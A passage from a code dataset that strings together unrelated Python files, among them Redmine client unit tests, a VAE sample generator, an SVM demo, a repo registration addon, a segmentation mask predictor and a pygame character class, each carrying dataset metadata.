split_abs[1].find('. ')+1\n if sentance_end_pos == 0:\n sentance_end = split_abs[1]\n else:\n sentance_end = split_abs[1][:sentance_end_pos]\n \n sentance_full = sentance_beginning + bert_ans+ sentance_end\n \n rowData += [sentance_full, c, doi]\n split_abs = full_abs.split(sentance_full)\n pandasData.append(rowData)\n \n return pandasData\n","sub_path":"check.py","file_name":"check.py","file_ext":"py","file_size_in_byte":2446,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"530341037","text":"import os\nimport torch\nfrom model import VAE\nfrom torchvision.utils import save_image\n\ndef gen_pic(ckpt, epoch):\n device = torch.device('cuda')\n model = VAE().to(device)\n model.load_state_dict(torch.load(ckpt))\n model.eval()\n sample = torch.randn(64, 20).to(device)\n sample = model.decode(sample).cpu()\n save_image(sample.view(64, 1, 28, 28),\n 'results/sample_e{:02}.png'.format(epoch))\n\nif __name__ == '__main__':\n ckpts = os.listdir('ckpts')\n ckpts = [os.path.join('ckpts', ck) for ck in ckpts if not ck.startswith('.')]\n print(ckpts)\n \n e = 0\n for c in ckpts:\n e += 5\n gen_pic(c, e)","sub_path":"vae/gen.py","file_name":"gen.py","file_ext":"py","file_size_in_byte":652,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"80089363","text":"from tests import unittest, mock, json_response, Redmine, URL\n\n\nclass TestRedmine(unittest.TestCase):\n def setUp(self):\n self.url = URL\n self.redmine = Redmine(self.url)\n\n def test_default_attributes(self):\n self.assertEqual(self.redmine.url, self.url)\n self.assertEqual(self.redmine.key, None)\n self.assertEqual(self.redmine.ver, None)\n self.assertEqual(self.redmine.username, None)\n self.assertEqual(self.redmine.password, None)\n self.assertEqual(self.redmine.requests, {})\n self.assertEqual(self.redmine.impersonate, None)\n self.assertEqual(self.redmine.date_format, '%Y-%m-%d')\n self.assertEqual(self.redmine.datetime_format, '%Y-%m-%dT%H:%M:%SZ')\n self.assertEqual(self.redmine.raise_attr_exception, True)\n self.assertEqual(self.redmine.custom_resource_paths, None)\n\n def test_set_attributes_through_kwargs(self):\n self.redmine = Redmine(\n self.url,\n key='123',\n version='1.0',\n username='john',\n password='qwerty',\n impersonate='jsmith',\n date_format='format',\n datetime_format='format',\n requests={'foo': 'bar'},\n raise_attr_exception=False,\n custom_resource_paths='foo.bar.baz'\n )\n self.assertEqual(self.redmine.url, self.url)\n self.assertEqual(self.redmine.key, '123')\n self.assertEqual(self.redmine.ver, '1.0')\n self.assertEqual(self.redmine.username, 'john')\n self.assertEqual(self.redmine.password, 'qwerty')\n self.assertEqual(self.redmine.impersonate, 'jsmith')\n self.assertEqual(self.redmine.date_format, 'format')\n self.assertEqual(self.redmine.datetime_format, 'format')\n self.assertEqual(self.redmine.requests['foo'], 'bar')\n self.assertEqual(self.redmine.raise_attr_exception, False)\n self.assertEqual(self.redmine.custom_resource_paths, 'foo.bar.baz')\n\n\nclass TestRedmineRequest(unittest.TestCase):\n def setUp(self):\n self.url = URL\n self.redmine = Redmine(self.url)\n self.response = mock.Mock()\n patcher_get = mock.patch('requests.get', return_value=self.response)\n patcher_post = mock.patch('requests.post', return_value=self.response)\n patcher_put = mock.patch('requests.put', return_value=self.response)\n patcher_get.start()\n patcher_post.start()\n patcher_put.start()\n self.addCleanup(patcher_get.stop)\n self.addCleanup(patcher_post.stop)\n self.addCleanup(patcher_put.stop)\n\n def test_successful_response_via_username_password(self):\n self.redmine.username = 'john'\n self.redmine.password = 'qwerty'\n self.response.status_code = 200\n self.response.json = json_response({'success': True})\n self.assertEqual(self.redmine.request('get', self.url)['success'], True)\n\n def test_successful_response_via_api_key(self):\n self.redmine.key = '123'\n self.response.status_code = 200\n self.response.json = json_response({'success': True})\n self.assertEqual(self.redmine.request('get', self.url)['success'], True)\n\n def test_successful_response_via_put_method(self):\n self.response.status_code = 200\n self.response.content = ''\n self.assertEqual(self.redmine.request('put', self.url), True)\n\n @mock.patch('redmine.open', mock.mock_open(), create=True)\n def test_successful_file_upload(self):\n self.response.status_code = 201\n self.response.json = json_response({'upload': {'token': '123456'}})\n self.assertEqual(self.redmine.upload('foo'), '123456')\n\n @mock.patch('redmine.open', mock.mock_open(), create=True)\n def test_successful_file_download(self):\n self.response.status_code = 200\n self.response.iter_content = lambda chunk_size: (str(num) for num in range(0, 5))\n self.assertEqual(self.redmine.download('http://foo/bar.txt', '/some/path'), '/some/path/bar.txt')\n\n def test_successful_in_memory_file_download(self):\n self.response.status_code = 200\n self.response.iter_content = lambda: (str(num) for num in range(0, 5))\n self.assertEqual(''.join(self.redmine.download('http://foo/bar.txt')()), '01234')\n\n def test_file_url_exception(self):\n from redmine.exceptions import FileUrlError\n self.response.status_code = 200\n self.assertRaises(FileUrlError, lambda: self.redmine.download('http://bad_url', '/some/path'))\n\n def test_file_upload_no_file_exception(self):\n from redmine.exceptions import NoFileError\n self.assertRaises(NoFileError, lambda: self.redmine.upload('foo',))\n\n def test_file_upload_not_supported_exception(self):\n from redmine.exceptions import VersionMismatchError\n self.redmine.ver = '1.0.0'\n self.assertRaises(VersionMismatchError, lambda: self.redmine.upload('foo',))\n\n def test_conflict_error_exception(self):\n from redmine.exceptions import ConflictError\n self.response.status_code = 409\n self.assertRaises(ConflictError, lambda: self.redmine.request('put', self.url))\n\n def test_json_decode_error_exception(self):\n from redmine.exceptions import JSONDecodeError\n self.response.status_code = 200\n self.response.json = mock.Mock(side_effect=ValueError)\n self.assertRaises(JSONDecodeError, lambda: self.redmine.request('get', self.url))\n\n def test_auth_error_exception(self):\n from redmine.exceptions import AuthError\n self.response.status_code = 401\n self.assertRaises(AuthError, lambda: self.redmine.request('get', self.url))\n\n def test_forbidden_error_exception(self):\n from redmine.exceptions import ForbiddenError\n self.response.status_code = 403\n self.assertRaises(ForbiddenError, lambda: self.redmine.request('get', self.url))\n\n def test_impersonate_error_exception(self):\n from redmine.exceptions import ImpersonateError\n self.redmine.impersonate = 'not_exists'\n self.response.status_code = 412\n self.assertRaises(ImpersonateError, lambda: self.redmine.request('get', self.url))\n\n def test_server_error_exception(self):\n from redmine.exceptions import ServerError\n self.response.status_code = 500\n self.assertRaises(ServerError, lambda: self.redmine.request('post', self.url))\n\n def test_request_entity_too_large_error_exception(self):\n from redmine.exceptions import RequestEntityTooLargeError\n self.response.status_code = 413\n self.assertRaises(RequestEntityTooLargeError, lambda: self.redmine.request('post', self.url))\n\n def test_validation_error_exception(self):\n from redmine.exceptions import ValidationError\n self.response.status_code = 422\n self.response.json = json_response({'errors': ['foo', 'bar', ['foo', 'bar']]})\n self.assertRaises(ValidationError, lambda: self.redmine.request('post', self.url))\n\n def test_not_found_error_exception(self):\n from redmine.exceptions import ResourceNotFoundError\n self.response.status_code = 404\n self.assertRaises(ResourceNotFoundError, lambda: self.redmine.request('get', self.url))\n\n def test_unknown_error_exception(self):\n from redmine.exceptions import UnknownError\n self.response.status_code = 888\n self.assertRaises(UnknownError, lambda: self.redmine.request('get', self.url))\n\n def test_auth(self):\n self.redmine.username = 'john'\n self.redmine.password = 'qwerty'\n self.response.status_code = 200\n self.response.json = json_response({'user': {'firstname': 'John', 'lastname': 'Smith', 'id': 1}})\n self.assertEqual(self.redmine.auth().firstname, 'John')\n\n def test_redmine_is_picklable(self):\n import pickle\n redmine = pickle.loads(pickle.dumps(self.redmine))\n self.assertEqual(redmine.key, self.redmine.key)\n self.assertEqual(redmine.username, self.redmine.username)\n self.assertEqual(redmine.password, self.redmine.password)\n self.assertEqual(redmine.requests, self.redmine.requests)\n","sub_path":"tests/test_redmine.py","file_name":"test_redmine.py","file_ext":"py","file_size_in_byte":8165,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"80086181","text":"import pandas as pd\r\nimport numpy as np\r\nfrom sklearn.datasets import make_blobs, make_classification\r\nimport seaborn as sns\r\nfrom matplotlib import pyplot as plt\r\n\r\nn_samples = 500\r\n\r\nx, y = make_classification(n_samples=n_samples, n_features=2,n_informative=2,n_redundant=0,n_clusters_per_class=1)\r\nprint(x.shape)\r\nprint(y.shape)\r\n\r\nsns.scatterplot(x = x[:,0],y=y, color ='g', size=5)\r\nsns.scatterplot(x=x[:,1],y=y, color = 'r',size=1)\r\nplt.show()\r\nfrom sklearn.svm import SVC\r\nfrom sklearn.model_selection import cross_val_score\r\n\"\"\"\r\naccuries = cross_val_score(SVC(kernel='linear'), x, y, cv=5)\r\nprint(type(accuries))\r\nprint(accuries)\r\nprint(accuries.mean())\r\nprint()\r\n\"\"\"\r\nSVM =SVC(kernel='linear')\r\nSVM = SVM.fit(x,y)\r\nprint('suppoert vectors')\r\nsv =SVM.support_vectors_\r\nprint(sv)\r\nprint(len(sv))\r\n\r\nsv = list(sv)\r\nprint(sv)\r\nl = []\r\nl1 =[]\r\nfor i in range(len(sv)):\r\n print(sv[i][0],sv[i][1])\r\n l.append(sv[i][0])\r\n l1.append(sv[i][1])\r\n\r\nprint(l)\r\nprint(l1)\r\n\r\nplt.scatter(l,l1 )","sub_path":"SVM/Linear_Kernel.py","file_name":"Linear_Kernel.py","file_ext":"py","file_size_in_byte":997,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"504388751","text":"__author__ = 'Nathan'\n\nimport argparse\nimport json\nimport os\nimport configparser\nimport socket\n\nfrom JClientAddonCategory.RepoAddon import RepoAddon\n\n\nclass Register(RepoAddon):\n \"\"\"\n Register Addon requests the main server to be registered so it can receive tasks in future.\n \"\"\"\n\n def __init__(self):\n super().__init__()\n self.args = None\n self.contact_string = 'reporegister'\n self.response = None\n self.config = None\n self.cmdline_args = None\n self.config_class = None\n\n def execute(self, cmdline_args, config):\n self.cmdline_args = cmdline_args\n self.config = config\n if self.isValidConfig():\n self._processCommandlineArgs()\n if 'help' in self.args:\n self._printHelp()\n elif self.isRepoValid():\n self.registerRepo()\n\n def isValidConfig(self):\n isValid = True\n if not self.config:\n print(\"No config file found!\")\n isValid = False\n else:\n self.setConfigClass()\n if not self.configOptionExists(\"Host\"):\n isValid = False\n if not self.configOptionExists(\"Port\"):\n isValid = False\n print(\"Using JServer at {0}:{1}\".format(self.config.get(self.config_class, 'Host'),\n self.config.get(self.config_class, 'Port')))\n return isValid\n\n def _processCommandlineArgs(self):\n parser = argparse.ArgumentParser(usage='%(prog)s register [options]')\n parser.add_argument('repo', help='')\n parser.add_argument('register', help='Register this repo with main server')\n self.args = parser.parse_args(self.cmdline_args)\n print(\"Args:\" + str(vars(self.args)))\n\n def registerRepo(self):\n self._setParamsForSendingToMainServer()\n self.contactMainServerWithRetries(lambda: self._handleResponse())\n\n def _setParamsForSendingToMainServer(self):\n self.URL_GET_params = {\"RepoLocation\": self.config.get('DEFAULT', 'JROOT'),\n \"Hostname\": socket.gethostname()}\n print(str(self.URL_GET_params))\n\n def _handleResponse(self):\n try:\n self.registration_response = json.loads(self.response.text)\n print(\"Response from Master server : {0}\".format(self.response.text))\n except:\n print(\"Response from Master server was unrecognised:{0}\".format(self.response.text))\n raise\n else:\n if self._isRegistrationSuccessful():\n self._handleSuccess()\n else:\n self._handleFailure()\n\n def _isRegistrationSuccessful(self):\n if not isinstance(self.registration_response, str) \\\n and \"Status\" in self.registration_response.keys() \\\n and self.registration_response[\"Status\"] == \"Success\":\n return True\n else:\n return False\n\n def _handleSuccess(self):\n if \"RepoID\" in self.registration_response.keys():\n self._writeRepoIDToConfigFile()\n\n def _handleFailure(self):\n if not isinstance(self.registration_response, str) and \"Msg\" in self.registration_response.keys():\n print(\"Repo Registration failure message : {0}\".format(self.registration_response[\"Msg\"]))\n else:\n print(\"Repo Registration failed without a valid reason from the main server\")\n\n def _writeRepoIDToConfigFile(self):\n repo_config_file = self._getRepoConfigFile()\n new_config = configparser.ConfigParser()\n new_config.read(repo_config_file)\n if not 'RepoID' in self.registration_response.keys():\n print(\"RepoID not provided by main server.\")\n elif self._repoIDExistsButIsDifferent(new_config):\n print(\"RepoID {0} is already present in {1}. Will replace with {2}\".format(\n new_config.get(\"DEFAULT\", \"RepoID\"),\n repo_config_file,\n self.registration_response['RepoID']))\n self._updateConfigFileWithRepoID(repo_config_file, new_config)\n elif self._repoIDDoesntExistInConfig(new_config):\n print(\"Will add RepoID {0} to {1}\".format(self.registration_response[\"RepoID\"], repo_config_file))\n self._updateConfigFileWithRepoID(repo_config_file, new_config)\n elif self._repoIDExistsAndIsTheSame(new_config):\n print(\"RepoID {0} is already correct in {1}\".format(\n new_config.get(\"DEFAULT\", \"RepoID\"),\n repo_config_file,\n self.registration_response['RepoID']))\n\n def _updateConfigFileWithRepoID(self, filename, config):\n config.set(\"DEFAULT\", \"RepoID\", self.registration_response[\"RepoID\"])\n with open(filename, 'w') as cf:\n config.write(cf)\n\n def _getRepoConfigFile(self):\n return os.path.join(self.config.get(\"DEFAULT\", \"JROOT\"), \"JClient.ini\")\n\n def _repoIDExistsButIsDifferent(self, config):\n return config.has_option(\"DEFAULT\", \"RepoID\") and \\\n config.get(\"DEFAULT\", \"RepoID\") != self.registration_response['RepoID']\n\n def _repoIDExistsAndIsTheSame(self, config):\n return config.has_option(\"DEFAULT\", \"RepoID\") and \\\n config.get(\"DEFAULT\", \"RepoID\") == self.registration_response['RepoID']\n\n def _repoIDDoesntExistInConfig(self, config):\n return not config.has_option(\"DEFAULT\", \"RepoID\")\n\n def _printHelp(self):\n print(\"Help message\")\n\n","sub_path":"src/JClientAddonRepo/Register.py","file_name":"Register.py","file_ext":"py","file_size_in_byte":5525,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"17889626","text":"# -*- coding: UTF-8 -*-\nfrom src.app.postgre_comment_0123.data_interface import *\nimport json\n\ndef dictionary(tables):\n all = {}\n for one in tables:\n comments = query_column_comment(one)\n for one in comments:\n comment=one[2]\n dictionarys = comment\n if dictionarys:\n dictionarys = dictionarys.split('#')\n if len(dictionarys) ==3:\n column = dictionarys[0]\n # print(column)\n dictionary = dictionarys[2]\n dictionary = dictionary.split(',')\n one_dictionary = {}\n for one in dictionary:\n one = one.split(':')\n key = one[0]\n value = one[1]\n # print(key,value)\n one_dictionary.setdefault(key,value)\n all.setdefault(column,one_dictionary)\n return all\n\n\nif __name__==(\"__main__\"):\n tables = ['MASTER_PATIENT_INDEX','PATIENT_RELATIVE','HEALTH_EVENT','VISIT_RECORD','DIAGNOSIS_RECORD'\n ,'ORDERS','FEE_RECORD','OBS_MASTER','PRESCRIPTION_RECORD','OPERATION_RECORD'\n ,'THERAPY_MASTER','DRUG_EXECUTION_RECORD','OBS_ITEMS','OBS_EXTRA_ITEMS_SUP_INFO','OBS_CLINIC_INFO'\n ,'SPECIMEN_ITEMS_RELATIONS','OBS_FEE_DETAILS','OBS_REPORT_MASTER','REPORT_PERFORM_RELATIONS','PRESCRIPTION_DETIAL_RECORD'\n ,'OPERATION_OPERATE_RECORD','OPERATION_MATERIAL_RECORD','OPERATION_REPORT','ANESTHESIA_RECORD','THERAPY_APPLY_ITEMS'\n ,'THERAPY_ASSESS','THERAPY_ADMINISTER','THERAPY_ITEMS','THERAPY_MATERIAL','ANAESTHETIC_RECORD'\n ,'OBS_DIAGNOS_RECORD','OBS_SECTION_REPORT','OBS_PERFORM_MASTER','OBS_PERFORM_DETAILS','SPECIMEN_PERFORM_RELATIONS'\n ,'OBS_LOG','OBS_WORK_LIST','OBS_FILE','OBS_SPECIMEN']\n all = dictionary(tables)\n\n OBS_CLASS = {}\n db =OperateDB()\n cur =db.conn.cursor()\n sql = \"\"\"SELECT a.\"OBS_CLASS_CODE\",a.\"OBS_CLASS_NAME\" FROM \"DICT_OBS_CLASS\" a\"\"\"\n result = cur.execute(sql).fetchall()\n OBS_CLASS_one ={}\n for one in result:\n key = one[0]\n value = one[1]\n OBS_CLASS_one.setdefault(key,value)\n all.setdefault(\"检查类别\",OBS_CLASS_one)\n print(\"检查类别\")\n\n\n with open(\"E:/gitweb/demo/comment/number_dictionary.json\", \"w\", encoding=\"utf-8\") as f:\n f.write(json.dumps(all))","sub_path":"medical_multicenter/src/app/postgre_comment_0123/number_dictionary.py","file_name":"number_dictionary.py","file_ext":"py","file_size_in_byte":2400,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"62205681","text":"import os\nimport shutil\n\nimport math\nfrom PIL import Image\n\nimport numpy as np\nimport tifffile as tiff\nimport matplotlib.pyplot as plt\nfrom app.config.main_config import PREDICTION_IMAGE_SIZE, IMAGE_SIZE, IMAGE_FORMAT\nfrom app.net.neuralnetwork import NeuralNetwork\nfrom app.preparation.img_cropper import ImagesCropper\nimport cv2\n\n\n\nclass ImagePredictor(object):\n # running vertically downwards across rows\n ROWS_AXIS = 0\n # running horizontally across columns\n COLUMNS_AXIS = 1\n\n def __init__(self, prediction_weights, model):\n self.cropper = ImagesCropper()\n self.net = NeuralNetwork(model)\n self.prediction_weights = prediction_weights\n\n # predict image mask according predictions of image and rotated image\n def predict_image_mask_tta(self, image_path):\n image = tiff.imread(image_path)#.transpose([1, 2, 0])\n res_img = self.__predict(image)\n\n rot_img = np.rot90(image, 1)\n res_rot_img = self.__predict(rot_img)\n res_rot_img = np.rot90(res_rot_img, 3)\n\n newar = np.add(res_img, res_rot_img)\n b = newar > 1\n newar = b.astype(int)\n\n # tiff.imshow(newar)\n # plt.show()\n return newar\n\n def predict_image_mask(self, image_path):\n # image = tiff.Ima(image_path)#.transpose([1, 2, 0])\n image = cv2.imread(image_path)\n res_img = self.__predict(image)\n\n # tiff.imshow(res_img)\n # plt.show()\n return res_img\n\n # predicts mask for image according given prediction_weights\n def __predict(self, image):\n directory = \"../tempdata/\"\n if not os.path.exists(directory):\n os.makedirs(directory)\n\n updated_image = self.__resize_image_for_prediction(image)\n self.cropper.crop_image('img', updated_image, directory, PREDICTION_IMAGE_SIZE)\n\n dataset = self.__get_dataset(updated_image, directory, shift_step=PREDICTION_IMAGE_SIZE)\n self.net.x_test = np.array(dataset, np.float32)\n\n predictions = []\n for weights in self.prediction_weights:\n image_prediction = self.net.test_network(weights)\n res = self.__concat_predictions(updated_image, image_prediction, shift_step=PREDICTION_IMAGE_SIZE)\n start_coord_x = (res.shape[0]-image.shape[0]) // 2\n end_coord_x = res.shape[0] - start_coord_x\n start_coord_y = (res.shape[1]-image.shape[1]) // 2\n end_coord_y = res.shape[1] - start_coord_y\n\n res = res[start_coord_x:end_coord_x,start_coord_y:end_coord_y]\n predictions.append(res)\n\n\n newres = np.zeros(res.shape)\n for image_prediction in predictions:\n newres = np.add(newres, image_prediction)\n\n shutil.rmtree(directory)\n return newres\n\n # resizes image for future it splitting into images with PREDICTION_IMAGE_SIZE\n # for image is added frame, after predictions this frame disappear\n # frame consists of flipped image border parts\n def __resize_image_for_prediction(self, image):\n new_img = self.__concatenate_by_axis(image, self.ROWS_AXIS)\n new_img = self.__concatenate_by_axis(new_img, self.COLUMNS_AXIS)\n return new_img\n\n def __concatenate_by_axis(self, image, axis):\n axis_len = image.shape[axis]\n updated_axis_len = self.__get_updated__axis_length(axis_len)\n\n flipped_part = self.__get_flip_part_img_top(axis_len, updated_axis_len, image, axis)\n new_img = np.concatenate((image, flipped_part), axis)\n\n flipped_part = self.__get_flip_part_img_bottom(axis_len, updated_axis_len, image, axis)\n new_img = np.concatenate((flipped_part, new_img), axis)\n return new_img\n\n def __get_updated__axis_length(self, axis_len):\n updated_len = (axis_len // PREDICTION_IMAGE_SIZE) + 1\n updated_len *= PREDICTION_IMAGE_SIZE\n updated_len += IMAGE_SIZE - PREDICTION_IMAGE_SIZE\n return updated_len\n\n def __get_flip_part_img_top(self, len, updated_len, image, axis):\n flip_part_len = len - (updated_len - len) // 2\n if axis == self.ROWS_AXIS:\n flipped_part = np.flip(image[flip_part_len:len, :], axis)\n elif axis == self.COLUMNS_AXIS:\n flipped_part = np.flip(image[:, flip_part_len:len], axis)\n return flipped_part\n\n def __get_flip_part_img_bottom(self, len, updated_len, image, axis):\n diff = math.ceil((updated_len - len) / 2)\n if axis == self.ROWS_AXIS:\n flipped_part = np.flip(image[0:diff, :], axis)\n elif axis == self.COLUMNS_AXIS:\n flipped_part = np.flip(image[:, 0:diff], axis)\n return flipped_part\n\n def __get_dataset(self, image, directory, shift_step=IMAGE_SIZE):\n width = image.shape[1]\n height = image.shape[0]\n dataset = []\n y_border = 0\n while y_border <= height - IMAGE_SIZE:\n x_border = 0\n while x_border <= width - IMAGE_SIZE:\n img = tiff.imread(directory + \"img___x={}, y={}{}\".format(x_border, y_border, IMAGE_FORMAT))\n dataset.append(img)\n x_border += shift_step\n y_border += shift_step\n return dataset\n\n def __concat_predictions(self, image, predictions, shift_step=IMAGE_SIZE):\n width = image.shape[1]\n height = image.shape[0]\n full_image = []\n y_border = 0\n i = 0\n while y_border <= height - IMAGE_SIZE:\n x_border = 0\n images = []\n while x_border <= width - IMAGE_SIZE:\n img = predictions[i]\n crop_start = int((IMAGE_SIZE - shift_step) / 2)\n crop_end = int(crop_start + shift_step)\n images.append(img[crop_start:crop_end, crop_start:crop_end])\n x_border += shift_step\n i += 1\n x_concat = np.concatenate(images, axis=1)\n full_image.append(x_concat)\n y_border += shift_step\n\n res = np.concatenate(full_image, axis=0)\n return res\n\n def __concat_images(self, image, directory):\n x_len = image.shape[1]\n y_len = image.shape[0]\n full_image = []\n x_border = 0\n while x_border <= x_len - IMAGE_SIZE:\n y_border = 0\n images = []\n while y_border <= y_len - IMAGE_SIZE:\n img = tiff.imread(directory + \"img___x={}, y={}{}\".format(x_border, y_border, IMAGE_FORMAT))\n images.append(img)\n y_border += IMAGE_SIZE\n x_concat = np.concatenate(images, axis=1)\n full_image.append(x_concat)\n x_border += IMAGE_SIZE\n\n res = np.concatenate(full_image, axis=0)\n return res","sub_path":"app/predition/img_prediction.py","file_name":"img_prediction.py","file_ext":"py","file_size_in_byte":6716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"570324833","text":"\"\"\"\ncharacter class\n\"\"\"\n\nimport pygame\nimport pathlib\n\nfrom input_handler import InputKeyHandler\nfrom interactable import Interactable\n\n\nclass Character(Interactable):\n\t\"\"\"\n\tcharacter class\n\t\"\"\"\n\n\tdef __init__(self, position, scale=(3, 3), is_gravity=False):\n\n\t\t# MRO check\n\t\tsuper().__init__()\n\n\t\t# arguments\n\t\tself.position = position\n\t\tself.scale = scale\n\t\tself.is_gravity = is_gravity\n\n\t\t# character sprite\n\t\tself.character_sprite = CharacterSprite(self.position, self.scale)\n\n\t\t# save init pos\n\t\tself.init_pos = position\n\n\t\t# speed and move dir\n\t\tself.move_speed = [3, 3]\n\t\tself.move_dir = [0, 0]\n\n\t\t# gravity stuff\n\t\tself.gravity_change = 0\n\t\tself.is_grounded = False\n\t\tself.max_fall_speed = 6\n\t\tself.init_fall_speed = 3\n\t\tself.jump_force = 6\n\n\t\t# input handler\n\t\tself.input_handler = InputKeyHandler(self)\n\n\t\t# interactions\n\t\tself.obstacle_sprites = pygame.sprite.Group()\n\t\tself.thing_sprites = pygame.sprite.Group()\n\t\tself.things_collected = 0\n\t\tself.is_active = True\n\n\n\tdef set_position(self, position, is_init_pos=False):\n\t\t\"\"\"\n\t\tset position absolute\n\t\t\"\"\"\n\n\t\t# set internal pos\n\t\tself.position = position\n\n\t\t# also set initial position\n\t\tif is_init_pos:\n\t\t\tself.init_pos = position\n\n\t\t# set rect\n\t\tself.character_sprite.rect.x = self.position[0]\n\t\tself.character_sprite.rect.y = self.position[1]\n\n\n\tdef calc_gravity(self):\n\t\t\"\"\"\n\t\tgravity\n\t\t\"\"\"\n\n\t\t# grounded condition\n\t\tif self.is_grounded:\n\t\t\tself.move_speed[1] = self.init_fall_speed\n\n\t\t# change speed according to gravity\n\t\tif self.move_speed[1] < self.max_fall_speed:\n\t\t\tself.move_speed[1] += 0.3\n\n\t\t# determine direction determined by move speed\n\t\tself.move_dir[1] = 1\n\n\n\tdef jump(self):\n\t\t\"\"\"\n\t\tcharacter jump\n\t\t\"\"\"\n\n\t\t# only if grounded\n\t\tif self.is_grounded:\n\n\t\t\t# change vertical speed\n\t\t\tself.move_speed[1] = -self.jump_force\n\n\t\t\t# not grounded anymore\n\t\t\tself.is_grounded = False\n\n\n\tdef direction_change(self, direction):\n\t\t\"\"\"\n\t\tmove character to position\n\t\t\"\"\"\n\n\t\t# apply x direction\n\t\tself.move_dir[0] += direction[0]\n\n\t\t# update sprite view\n\t\tif self.move_dir[0] < 0:\n\t\t\tself.character_sprite.change_view_sprites(\"side-l\")\n\n\t\telif self.move_dir[0] > 0:\n\t\t\tself.character_sprite.change_view_sprites(\"side-r\")\n\n\t\telse:\n\t\t\tself.character_sprite.change_view_sprites(\"front\")\n\n\t\t# gravity moves\n\t\tif self.is_gravity:\n\t\t\treturn\n\n\t\t# apply y direction\n\t\tself.move_dir[1] += direction[1]\n\n\n\tdef action_key(self):\n\t\t\"\"\"\n\t\tif action key is pressed\n\t\t\"\"\"\n\n\t\t# do a jump\n\t\tself.jump()\n\n\n\tdef reset(self):\n\t\t\"\"\"\n\t\treset stuff\n\t\t\"\"\"\n\n\t\tself.is_active = True\n\t\tself.is_grounded = False\n\t\tself.things = None\n\t\tself.things_collected = 0\n\n\t\t# set init position\n\t\tself.set_position(self.init_pos)\n\n\n\tdef event_update(self, event):\n\t\t\"\"\"\n\t\tevent update for character\n\t\t\"\"\"\n\n\t\t# event handling\n\t\tself.input_handler.handle(event)\n\n\n\tdef update(self):\n\t\t\"\"\"\n\t\tupdate character\n\t\t\"\"\"\n\n\t\t# not active\n\t\tif not self.is_active:\n\t\t\treturn\n\n\t\t# change of x\n\t\tmove_change_x = self.move_dir[0] * self.move_speed[0]\n\n\t\t# x movement\n\t\tself.character_sprite.rect.x += move_change_x\n\n\t\t# collide issue\n\t\tfor obst in pygame.sprite.spritecollide(self.character_sprite, self.obstacle_sprites, False):\n\n\t\t\t# stand at wall\n\t\t\tif move_change_x > 0:\n\t\t\t\tself.character_sprite.rect.right = obst.rect.left\n\n\t\t\telse:\n\t\t\t\tself.character_sprite.rect.left = obst.rect.right\n\n\n\t\t# y gravity\n\t\tif self.is_gravity:\n\n\t\t\t# calculate gravity\n\t\t\tself.calc_gravity()\n\n\n\t\t# change of y\n\t\tmove_change_y = self.move_dir[1] * self.move_speed[1]\n\n\t\t# y movement\n\t\tself.character_sprite.rect.y += move_change_y\n\n\t\t# grounded false\n\t\tself.is_grounded = False\n\n\t\t# collide issue\n\t\tfor obst in pygame.sprite.spritecollide(self.character_sprite, self.obstacle_sprites, False):\n\t\t\t\n\t\t\t# stand at wall\n\t\t\tif move_change_y > 0:\n\n\t\t\t\t# stop atop\n\t\t\t\tself.character_sprite.rect.bottom = obst.rect.top\n\n\t\t\t\t# grounded condition\n\t\t\t\tself.is_grounded = True\n\n\t\t\telse:\n\n\t\t\t\t# stop with head hit\n\t\t\t\tself.character_sprite.rect.top = obst.rect.bottom\n\n\t\t\t\t# no upward movement anymore\n\t\t\t\tself.move_speed[1] = 0\n\n\t\t# interaction with things\n\t\tfor thing in pygame.sprite.spritecollide(self.character_sprite, self.thing_sprites, True):\n\t\t\tself.things_collected += 1\n\n\n\nclass CharacterSprite(pygame.sprite.Sprite):\n\t\"\"\"\n\tcharacter sprite class\n\t\"\"\"\n\n\tdef __init__(self, position, scale, anim_frame_update=3):\n\n\t\t# MRO check\n\t\tsuper().__init__()\n\n\t\t# arguments\n\t\tself.position = position\n\t\tself.scale = scale\n\t\tself.anim_frame_update = anim_frame_update\n\n\t\t# frame\n\t\tself.anim_frame = 0\n\n\t\t# sprite index\n\t\tself.sprite_index = 0\n\n\t\t# root for sprites\n\t\tself.sprite_root_path = str(pathlib.Path(__file__).parent.absolute()) + \"/art/\"\n\n\t\t# image file names\n\t\tself.image_file_names = [\"henry_front.png\", \"henry_side-1.png\", \"henry_side-2.png\", \"henry_side-3.png\"]\n\n\t\t# index for sprites infos\n\t\tself.view_index = {\"front\":(0, 1), \"side-r\":(1, 4), \"side-l\":(4, 7)}\n\n\t\t# actual view\n\t\tself.view = \"front\"\n\n\t\t# actual sprites as image arrays\n\t\tself.sprites = [pygame.image.load(self.sprite_root_path + s).convert_alpha() for s in self.image_file_names]\n\n\t\t# load image and create rect\n\t\tself.rect = self.sprites[self.sprite_index].get_rect()\n\n\t\t# scale sprites\n\t\tself.sprites = [pygame.transform.scale(s, (self.rect.width * scale[0], self.rect.height * scale[1])) for s in self.sprites]\n\n\t\t# add flipped views\n\t\tself.sprites.extend([pygame.transform.flip(s, True, False) for s in self.sprites[self.view_index['side-r'][0]:self.view_index['side-r'][1]]])\n\n\t\t# subset of sprites\n\t\tself.view_sprites = self.sprites[self.view_index[self.view][0]:self.view_index[self.view][1]]\n\n\t\t# image refs\n\t\tself.image = self.sprites[self.sprite_index]\n\t\tself.rect = self.image.get_rect()\n\n\t\t# set rect position\n\t\tself.rect.x, self.rect.y = self.position[0], self.position[1]\n\n\n\tdef change_view_sprites(self, view):\n\t\t\"\"\"\n\t\tview must be in the set {\"front\", \"side-l\" \"side-r\"}\n\t\t\"\"\"\n\n\t\t# safety check\n\t\tif not view in self.view_index.keys():\n\t\t\tprint(\"view of sprite is not in list\")\n\t\t\treturn\n\n\t\t# view update\n\t\tself.view = view\n\n\t\t# view sprites update\n\t\tself.view_sprites = self.sprites[self.view_index[self.view][0]:self.view_index[self.view][1]]\n\n\n\tdef update(self):\n\t\t\"\"\"\n\t\tupdate of sprite\n\t\t\"\"\"\n\n\t\t# frame counts\n\t\tself.anim_frame += 1\n\n\t\tif self.anim_frame > 